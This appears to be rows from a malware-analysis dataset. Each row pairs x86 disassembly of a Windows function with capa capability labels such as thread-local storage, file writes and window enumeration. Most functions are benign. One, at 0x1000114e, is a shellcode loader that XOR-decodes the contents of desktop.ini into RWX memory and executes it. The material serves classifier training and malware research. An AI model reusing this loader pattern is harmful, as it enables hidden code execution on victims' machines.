joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44da94
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x453bb0]
cmp dword [eax + 0x30], 0
je 0x44db3e
cmp dword [ebx + 0x94], 0
jne 0x44db38
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x44da24
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x44db38
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x44dafe
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x44db38
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00413578
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x44db0d
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x44e6a0
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x44e6d5
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00403f00
jmp 0x44e6e2
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00403e64
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x44f734
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x44f775
mov eax, esi
call fcn.00435efc
test al, al
je 0x44f775
mov eax, dword [ebx + 0x84]
call fcn.00435bf8
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x44f775
push 0
mov eax, dword [ebx + 0x84]
call fcn.00435bf8
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret
Function at 0x40d940
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
call fcn.0040d560
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40d972
mov eax, dword [ebp - 4]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0xc]
mov dword [ebp - 8], edx
mov ecx, dword [ebp - 8]
call dword [0x44a14c]
call dword [ebp - 8]
jmp 0x40d97c
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov esp, ebp
pop ebp
ret
Function at 0x42c450
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
call fcn.0042bc60
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x42c484
mov eax, dword [ebp - 4]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0xc]
mov dword [ebp - 8], edx
mov ecx, dword [ebp - 8]
call dword [0x44a14c]
call dword [ebp - 8]
jmp 0x42c48a
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov esp, ebp
pop ebp
ret 4

Function at 0x42c4e0
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
call fcn.0042bca0
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x42c514
mov eax, dword [ebp - 4]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0xc]
mov dword [ebp - 8], edx
mov ecx, dword [ebp - 8]
call dword [0x44a14c]
call dword [ebp - 8]
jmp 0x42c51e
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov esp, ebp
pop ebp
ret 4

Function at 0x42c530
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
call fcn.0042bcc0
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x42c568
mov eax, dword [ebp - 4]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
call dword [0x44a14c]
call dword [ebp - 8]
jmp 0x42c576
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov esp, ebp
pop ebp
ret 8

Function at 0x42c580
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
call fcn.0042bd40
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x42c5c0
mov eax, dword [ebp - 4]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0xc]
mov dword [ebp - 8], edx
mov ecx, dword [ebp - 8]
call dword [0x44a14c]
call dword [ebp - 8]
jmp 0x42c5de
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
push 0
mov eax, dword [ebp + 8]
push eax
call fcn.0042c7d0
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov esp, ebp
pop ebp
ret 0x10
Function at 0x42e850
Capabilities:
Write file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x1434
call fcn.00448de0
mov eax, dword [0x464014]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
sar eax, 6
mov ecx, dword [ebp + 0xc]
and ecx, 0x3f
imul edx, ecx, 0x38
mov eax, dword [eax*4 + 0x465fd8]
mov ecx, dword [eax + edx + 0x18]
mov dword [ebp - 0x1434], ecx
mov edx, dword [ebp + 0x10]
add edx, dword [ebp + 0x14]
mov dword [ebp - 0x1424], edx
xor eax, eax
mov dword [ebp - 0x1410], eax
mov dword [ebp - 0x140c], eax
mov dword [ebp - 0x1408], eax
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0x1420], ecx
mov edx, dword [ebp - 0x1420]
cmp edx, dword [ebp - 0x1424]
jae 0x42ea28
lea eax, [ebp - 5]
mov dword [ebp - 0x1430], eax
lea ecx, [ebp - 0x1404]
mov dword [ebp - 0x1418], ecx
mov edx, dword [ebp - 0x1418]
cmp edx, dword [ebp - 0x1430]
jae 0x42e977
mov eax, dword [ebp - 0x1420]
cmp eax, dword [ebp - 0x1424]
jae 0x42e977
mov ecx, dword [ebp - 0x1420]
mov dl, byte [ecx]
mov byte [ebp - 0x1419], dl
mov eax, dword [ebp - 0x1420]
add eax, 1
mov dword [ebp - 0x1420], eax
mov cl, byte [ebp - 0x1419]
mov byte [ebp - 0x1411], cl
movsx edx, byte [ebp - 0x1411]
cmp edx, 0xa
jne 0x42e955
mov eax, dword [ebp - 0x1408]
add eax, 1
mov dword [ebp - 0x1408], eax
mov ecx, dword [ebp - 0x1418]
mov byte [ecx], 0xd
mov edx, dword [ebp - 0x1418]
add edx, 1
mov dword [ebp - 0x1418], edx
mov eax, dword [ebp - 0x1418]
mov cl, byte [ebp - 0x1411]
mov byte [eax], cl
mov edx, dword [ebp - 0x1418]
add edx, 1
mov dword [ebp - 0x1418], edx
jmp 0x42e8d9
mov eax, dword [ebp - 0x1418]
lea ecx, [ebp - 0x1404]
sub eax, ecx
mov dword [ebp - 0x142c], eax
push 0
lea edx, [ebp - 0x1428]
push edx
mov eax, dword [ebp - 0x142c]
push eax
lea ecx, [ebp - 0x1404]
push ecx
mov edx, dword [ebp - 0x1434]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x42e9e1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x1410], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x1410]
mov dword [eax], ecx
mov edx, dword [ebp - 0x140c]
mov dword [eax + 4], edx
mov ecx, dword [ebp - 0x1408]
mov dword [eax + 8], ecx
mov eax, dword [ebp + 8]
jmp 0x42ea48
mov edx, dword [ebp - 0x140c]
add edx, dword [ebp - 0x1428]
mov dword [ebp - 0x140c], edx
mov eax, dword [ebp - 0x1428]
cmp eax, dword [ebp - 0x142c]
jae 0x42ea23
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x1410]
mov dword [ecx], edx
mov eax, dword [ebp - 0x140c]
mov dword [ecx + 4], eax
mov edx, dword [ebp - 0x1408]
mov dword [ecx + 8], edx
mov eax, dword [ebp + 8]
jmp 0x42ea48
jmp 0x42e8b2
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x1410]
mov dword [eax], ecx
mov edx, dword [ebp - 0x140c]
mov dword [eax + 4], edx
mov ecx, dword [ebp - 0x1408]
mov dword [eax + 8], ecx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004080f0
mov esp, ebp
pop ebp
ret
Function at 0x42ea60
Capabilities:
Write file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x1434
call fcn.00448de0
mov eax, dword [0x464014]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
sar eax, 6
mov ecx, dword [ebp + 0xc]
and ecx, 0x3f
imul edx, ecx, 0x38
mov eax, dword [eax*4 + 0x465fd8]
mov ecx, dword [eax + edx + 0x18]
mov dword [ebp - 0x1434], ecx
mov edx, dword [ebp + 0x10]
add edx, dword [ebp + 0x14]
mov dword [ebp - 0x1424], edx
xor eax, eax
mov dword [ebp - 0x1410], eax
mov dword [ebp - 0x140c], eax
mov dword [ebp - 0x1408], eax
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0x141c], ecx
mov edx, dword [ebp - 0x141c]
cmp edx, dword [ebp - 0x1424]
jae 0x42ec4b
lea eax, [ebp - 6]
mov dword [ebp - 0x1430], eax
lea ecx, [ebp - 0x1404]
mov dword [ebp - 0x1414], ecx
mov edx, dword [ebp - 0x1414]
cmp edx, dword [ebp - 0x1430]
jae 0x42eb96
mov eax, dword [ebp - 0x141c]
cmp eax, dword [ebp - 0x1424]
jae 0x42eb96
mov ecx, dword [ebp - 0x141c]
mov dx, word [ecx]
mov word [ebp - 0x141e], dx
mov eax, dword [ebp - 0x141c]
add eax, 2
mov dword [ebp - 0x141c], eax
mov cx, word [ebp - 0x141e]
mov word [ebp - 0x1418], cx
movzx edx, word [ebp - 0x1418]
cmp edx, 0xa
jne 0x42eb72
mov eax, dword [ebp - 0x1408]
add eax, 2
mov dword [ebp - 0x1408], eax
mov ecx, 0xd
mov edx, dword [ebp - 0x1414]
mov word [edx], cx
mov eax, dword [ebp - 0x1414]
add eax, 2
mov dword [ebp - 0x1414], eax
mov ecx, dword [ebp - 0x1414]
mov dx, word [ebp - 0x1418]
mov word [ecx], dx
mov eax, dword [ebp - 0x1414]
add eax, 2
mov dword [ebp - 0x1414], eax
jmp 0x42eae9
mov ecx, dword [ebp - 0x1414]
lea edx, [ebp - 0x1404]
sub ecx, edx
sar ecx, 1
shl ecx, 1
mov dword [ebp - 0x142c], ecx
push 0
lea eax, [ebp - 0x1428]
push eax
mov ecx, dword [ebp - 0x142c]
push ecx
lea edx, [ebp - 0x1404]
push edx
mov eax, dword [ebp - 0x1434]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x42ec04
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x1410], eax
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x1410]
mov dword [ecx], edx
mov eax, dword [ebp - 0x140c]
mov dword [ecx + 4], eax
mov edx, dword [ebp - 0x1408]
mov dword [ecx + 8], edx
mov eax, dword [ebp + 8]
jmp 0x42ec6b
mov eax, dword [ebp - 0x140c]
add eax, dword [ebp - 0x1428]
mov dword [ebp - 0x140c], eax
mov ecx, dword [ebp - 0x1428]
cmp ecx, dword [ebp - 0x142c]
jae 0x42ec46
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0x1410]
mov dword [edx], eax
mov ecx, dword [ebp - 0x140c]
mov dword [edx + 4], ecx
mov eax, dword [ebp - 0x1408]
mov dword [edx + 8], eax
mov eax, dword [ebp + 8]
jmp 0x42ec6b
jmp 0x42eac2
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x1410]
mov dword [ecx], edx
mov eax, dword [ebp - 0x140c]
mov dword [ecx + 4], eax
mov edx, dword [ebp - 0x1408]
mov dword [ecx + 8], edx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004080f0
mov esp, ebp
pop ebp
ret
Function at 0x43b1b0
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x38
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push eax
lea ecx, [ebp - 4]
call fcn.004127f0
lea ecx, [ebp - 4]
call fcn.0043b180
movzx eax, al
test eax, eax
jne 0x43b1ed
mov dword [ebp - 0x18], 0
lea ecx, [ebp - 4]
call fcn.0043b0c0
mov eax, dword [ebp - 0x18]
jmp 0x43b315
lea ecx, [ebp - 4]
call fcn.0040ec50
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.0043b140
add esp, 4
mov dword [ebp - 0x1c], eax
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0x10]
sar edx, 1
mov dword [ebp - 0x14], edx
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 0x14]
push eax
lea ecx, [ebp - 4]
call fcn.0040ec50
push eax
push 0
push 0
call fcn.00438200
add esp, 0x20
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x43b253
mov dword [ebp - 0x20], 0
lea ecx, [ebp - 4]
call fcn.0043b0c0
mov eax, dword [ebp - 0x20]
jmp 0x43b315
push 0x66
push str.minkernelcrtsucrt_srcdesktopcrtenvget_environment_from_os.cpp
push 2
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.004124a0
add esp, 0x10
push eax
lea ecx, [ebp - 8]
call fcn.00403c60
lea ecx, [ebp - 8]
call fcn.004080a0
movzx edx, al
test edx, edx
jne 0x43b29c
mov dword [ebp - 0x24], 0
lea ecx, [ebp - 8]
call fcn.00408080
lea ecx, [ebp - 4]
call fcn.0043b0c0
mov eax, dword [ebp - 0x24]
jmp 0x43b315
lea ecx, [ebp - 8]
call fcn.00407c30
mov dword [ebp - 0x28], eax
lea ecx, [ebp - 4]
call fcn.0040ec50
mov dword [ebp - 0x2c], eax
push 0
push 0
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x28]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x2c]
push eax
push 0
push 0
call fcn.00438200
add esp, 0x20
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
jne 0x43b2f7
mov dword [ebp - 0x34], 0
lea ecx, [ebp - 8]
call fcn.00408080
lea ecx, [ebp - 4]
call fcn.0043b0c0
mov eax, dword [ebp - 0x34]
jmp 0x43b315
lea ecx, [ebp - 8]
call fcn.00412830
mov dword [ebp - 0x38], eax
lea ecx, [ebp - 8]
call fcn.00408080
lea ecx, [ebp - 4]
call fcn.0043b0c0
mov eax, dword [ebp - 0x38]
mov esp, ebp
pop ebp
ret
Function at 0x446c40
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x4c
lea ecx, [ebp - 0x4c]
call fcn.00422710
lea ecx, [ebp - 0x34]
call fcn.00422710
call fcn.00429de0
push eax
lea eax, [ebp - 0x4c]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00422660
add esp, 0xc
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x446c93
mov dword [ebp - 8], 0
lea ecx, [ebp - 0x34]
call fcn.004227b0
lea ecx, [ebp - 0x4c]
call fcn.004227b0
mov eax, dword [ebp - 8]
jmp 0x446d08
call fcn.00429de0
push eax
lea edx, [ebp - 0x34]
push edx
mov eax, dword [ebp + 0xc]
push eax
call fcn.00422660
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x446cce
mov dword [ebp - 0x10], 0
lea ecx, [ebp - 0x34]
call fcn.004227b0
lea ecx, [ebp - 0x4c]
call fcn.004227b0
mov eax, dword [ebp - 0x10]
jmp 0x446d08
lea ecx, [ebp - 0x34]
call fcn.00422a60
mov dword [ebp - 0x14], eax
lea ecx, [ebp - 0x4c]
call fcn.00422a60
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov dword [ebp - 0x1c], eax
lea ecx, [ebp - 0x34]
call fcn.004227b0
lea ecx, [ebp - 0x4c]
call fcn.004227b0
mov eax, dword [ebp - 0x1c]
mov esp, ebp
pop ebp
ret
Function at 0x406128
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
call sub.KERNEL32.dll_TlsAlloc
cmp eax, 0xffffffff
je 0x40614d
mov dword [0x40a0f4], eax
add esp, 0xfffffff8
push 0x4060ec
push eax
call fcn.00407c20
jmp 0x406152
call sub.KERNEL32.dll_GetLastError
test eax, eax
jne 0x406168
mov dword [0x409054], 0x40624c
jmp 0x406172
mov dword [0x409054], 0x406200
leave
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x10001000
Capabilities:
Check os version
Read .ini file

Disassembly:
sub esp, 0x104
mov eax, dword [0x10019270]
xor eax, esp
mov dword [esp + 0x100], eax
push ebx
push ebp
mov ebp, dword [esp + 0x110]
push esi
push edi
mov byte [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov ebx, eax
push 0x100132d1
lea eax, [esp + 0x14]
push 0x100
push eax
movzx esi, bl
movzx edi, bh
call fcn.10005f00
add esp, 0xc
test ebx, ebx
js 0x100010dc
cmp esi, 3
ja 0x10001062
xor esi, esi
push str.Windows_NT_series_OLD_OS
jmp 0x1000115b
cmp esi, 4
jne 0x10001073
mov esi, 0x10000
push str.Windows_NT
jmp 0x100010bb
cmp esi, 5
jne 0x100010d2
test edi, edi
jne 0x1000109d
push str.Windows_2000
lea eax, [esp + 0x14]
push 0x100
push eax
mov esi, 0x100000
call fcn.10005f00
add esp, 0xc
jmp 0x10001174
cmp edi, 1
jne 0x100010b1
mov esi, 0x1000000
push str.Windows_XP
jmp 0x1000115b
mov esi, 0x10000000
push str.Windows_XP_series_NEW_OS
lea edx, [esp + 0x14]
push 0x100
push edx
call fcn.10005f00
add esp, 0xc
jmp 0x10001174
mov esi, 0x10000000
jmp 0x10001174
cmp esi, 3
ja 0x100010fc
push str.Windows_95_series_OLD_OS
lea eax, [esp + 0x14]
push 0x100
push eax
xor esi, esi
call fcn.10005f00
add esp, 0xc
jmp 0x10001174
cmp esi, 4
jne 0x1000116f
cmp edi, 0xa
jae 0x10001112
mov esi, 1
push str.Windows_95
jmp 0x1000115b
cmp edi, 0x5a
jae 0x10001135
push str.Windows_98
lea edx, [esp + 0x14]
push 0x100
push edx
mov esi, 0x10
call fcn.10005f00
add esp, 0xc
jmp 0x10001174
jne 0x10001151
push str.Windows_Me
mov esi, 0x100
lea eax, [esp + 0x14]
push esi
push eax
call fcn.10005f00
add esp, 0xc
jmp 0x10001174
mov esi, 0x1000
push str.Windows_9x_series_NEW_OS
lea ecx, [esp + 0x14]
push 0x100
push ecx
call fcn.10005f00
add esp, 0xc
jmp 0x10001174
mov esi, 0x1000
push esi
push str.TRUE_dwOsFlag__0x_08X
push 3
call fcn.100026c0
add esp, 0xc
push 0x1001a680
push esi
push str.OsCamouflage
push str.Debug
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov esi, eax
push esi
push str.USE__dwOsFlag__0x_08X
push 3
call fcn.100026c0
add esp, 0xc
test ebp, ebp
je 0x100011c0
lea edx, [esp + 0x10]
push edx
push 4
push ebp
call fcn.10005f00
add esp, 0xc
mov ecx, dword [esp + 0x110]
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.10005f65
add esp, 0x104
ret
Function at 0x10001330
Capabilities:
Read .ini file

Disassembly:
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
push 0x1001a680
push 0x3e8
push str.OpenlistMutexTimeout
push str.Wraper
call esi
push 0x1001a680
push 0x3a98
push str.SuspendReqTimeout
push str.Wraper
mov dword [section..data], eax
call esi
push 0x1001a680
push 0x1388
push str.ResumeReqTimeout1
push str.Wraper
mov dword [0x10019004], eax
call esi
push 0x1001a680
push 0x190
push str.ResumeReqTimeout2
push str.Wraper
mov dword [0x10019008], eax
call esi
push 0x1001a680
push 0x3a98
push str.TerminateReqTimeout
push str.Wraper
mov dword [0x1001900c], eax
call esi
push 0x1001a680
push 0xc8
push str.RequestUnitTime
push str.Wraper
mov dword [0x10019010], eax
call esi
push 0x1001a680
push 0x32
push str.MutexGetUnitTime
push str.Wraper
mov dword [0x10019014], eax
call esi
push 0x1001a680
push 0x3e8
push str.StatMonStartPermitMutexTimeout
push str.Wraper
mov dword [0x10019018], eax
call esi
push 0x1001a680
push 0x3e8
push str.StatMonStayingMutexTimeout
push str.Wraper
mov dword [0x1001901c], eax
call esi
push 0x1001a680
push 0x3e8
push str.StatMonTermReqMutexTimeout
push str.Wraper
mov dword [0x10019020], eax
call esi
push 0x1001a680
push 0x3e8
push str.StatMonSusReqMutexTimeout
push str.Wraper
mov dword [0x10019024], eax
call esi
mov dword [0x10019028], eax
mov eax, dword [section..data]
push eax
push str.g_iOpenlistMutexTimeout___6d
push 3
call fcn.100026c0
mov ecx, dword [0x10019004]
push ecx
push str.g_iSuspendReqTimeout______6d
push 3
call fcn.100026c0
mov edx, dword [0x10019008]
push edx
push str.g_iResumeReqTimeout1______6d
push 3
call fcn.100026c0
mov eax, dword [0x1001900c]
push eax
push str.g_iResumeReqTimeout2______6d
push 3
call fcn.100026c0
mov ecx, dword [0x10019010]
push ecx
push str.g_iTerminateReqTimeout____6d
push 3
call fcn.100026c0
mov edx, dword [0x10019014]
push edx
push str.g_iRequestUnitTime________6d
push 3
call fcn.100026c0
mov eax, dword [0x10019018]
add esp, 0x48
push eax
push str.g_iMutexGetUnitTime_______6d
push 3
call fcn.100026c0
mov ecx, dword [0x1001901c]
push ecx
push str.g_iStatMonStartPermitMutexTimeout___6d
push 3
call fcn.100026c0
mov edx, dword [0x10019020]
push edx
push str.g_iStatMonStayingMutexTimeout_______6d
push 3
call fcn.100026c0
mov eax, dword [0x10019024]
push eax
push str.g_iStatMonTermReqMutexTimeout_______6d
push 3
call fcn.100026c0
mov ecx, dword [0x10019028]
push ecx
push str.g_iStatMonSusReqMutexTimeout________6d
push 3
call fcn.100026c0
add esp, 0x3c
pop esi
ret
Function at 0x10001540
Capabilities:
Get system information on windows

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push str.GetSystemInfo___called
push 3
call fcn.100026c0
add esp, 8
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x100015ac
push str.GetNativeSystemInfo
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push esi
push str.fpGetNativeSystemInfo__0x_08X
push 3
call fcn.100026c0
add esp, 0xc
test esi, esi
je 0x100015ac
push edi
call esi
push str.kernel32.dll
push str.GetNativeSystemInfo
push str._s___in__s_called
push 3
call fcn.100026c0
add esp, 0x10
pop edi
pop esi
ret
push str.kernel32.dll
push str.GetNativeSystemInfo
push str._s___in__s_not_found
push 3
call fcn.100026c0
add esp, 0x10
pop edi
pop esi
ret
Function at 0x10002170
Capabilities:
Read .ini file

Disassembly:
sub esp, 0x24
mov eax, dword [0x10019270]
xor eax, esp
mov dword [esp + 0x20], eax
push 0x1001a680
push 0x1e
lea eax, [esp + 8]
push eax
push str.WDLMW
push str.Type2_FuncName
push 0x100140bc
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov eax, dword [0x1001aa9c]
sub eax, 2
jne 0x100021b5
lea ecx, [esp]
push ecx
call fcn.10004bd0
add esp, 4
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.10005f65
add esp, 0x24
ret
Function at 0x10002550
Capabilities:
Read .ini file

Disassembly:
mov eax, dword [esp + 4]
add eax, 0xffffffff
cmp eax, 4
ja case.0x100024ec.4
jmp dword [eax*4 + 0x10002530]
mov eax, 0x10000
jmp 0x10002514
mov eax, 0x20000
jmp 0x10002514
mov eax, 0x40000
jmp 0x10002514
mov eax, 0x80000
jmp 0x10002514
mov eax, 0x100000
mov ecx, dword [esp + 8]
push ecx
push 0x100141a4
push eax
call fcn.10004c20
add esp, 0xc
mov eax, 1
ret
mov eax, 0x1008
call fcn.10006400
mov eax, dword [0x10019270]
xor eax, esp
mov dword [esp + 0x1004], eax
push ebx
mov ebx, dword [esp + 0x1014]
push ebp
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
push 0x1001a680
push 1
push str.Type1_LogEnable
push 0x100140bc
mov ebp, eax
call esi
push 0x1001a680
push 3
push str.Type1_LogLevel
push 0x100140bc
mov edi, eax
call esi
test edi, edi
je 0x10002657
cmp dword [esp + 0x101c], eax
jg 0x10002657
push ebp
lea eax, [esp + 0x18]
push str.__08X_
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push ebx
lea ecx, [esp + 0x24]
push 0x1000
push ecx
call fcn.10006002
lea eax, [esp + 0x2c]
add esp, 0x18
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x100025f0
sub eax, edx
cmp byte [esp + eax + 0x13], 0xa
je 0x10002619
push 0x10014158
lea edx, [esp + 0x18]
push 0x1000
push edx
call fcn.10006002
add esp, 0xc
push 0x10014154
lea eax, [esp + 0x14]
push 0x1001a788
push eax
call fcn.100063a1
add esp, 0xc
test eax, eax
jne 0x10002657
mov ecx, dword [esp + 0x10]
push ecx
lea edx, [esp + 0x18]
push edx
lea esi, [eax + 1]
call fcn.1000619b
mov eax, dword [esp + 0x18]
push eax
call fcn.1000611f
add esp, 0xc
mov eax, esi
jmp 0x10002659
xor eax, eax
mov ecx, dword [esp + 0x1014]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.10005f65
add esp, 0x1008
ret
mov ecx, dword [0x1001aa9c]
xor eax, eax
sub ecx, 1
je 0x100026b7
sub ecx, 1
jne 0x100026bc
jmp 0x100024e0
jmp 0x10002550
ret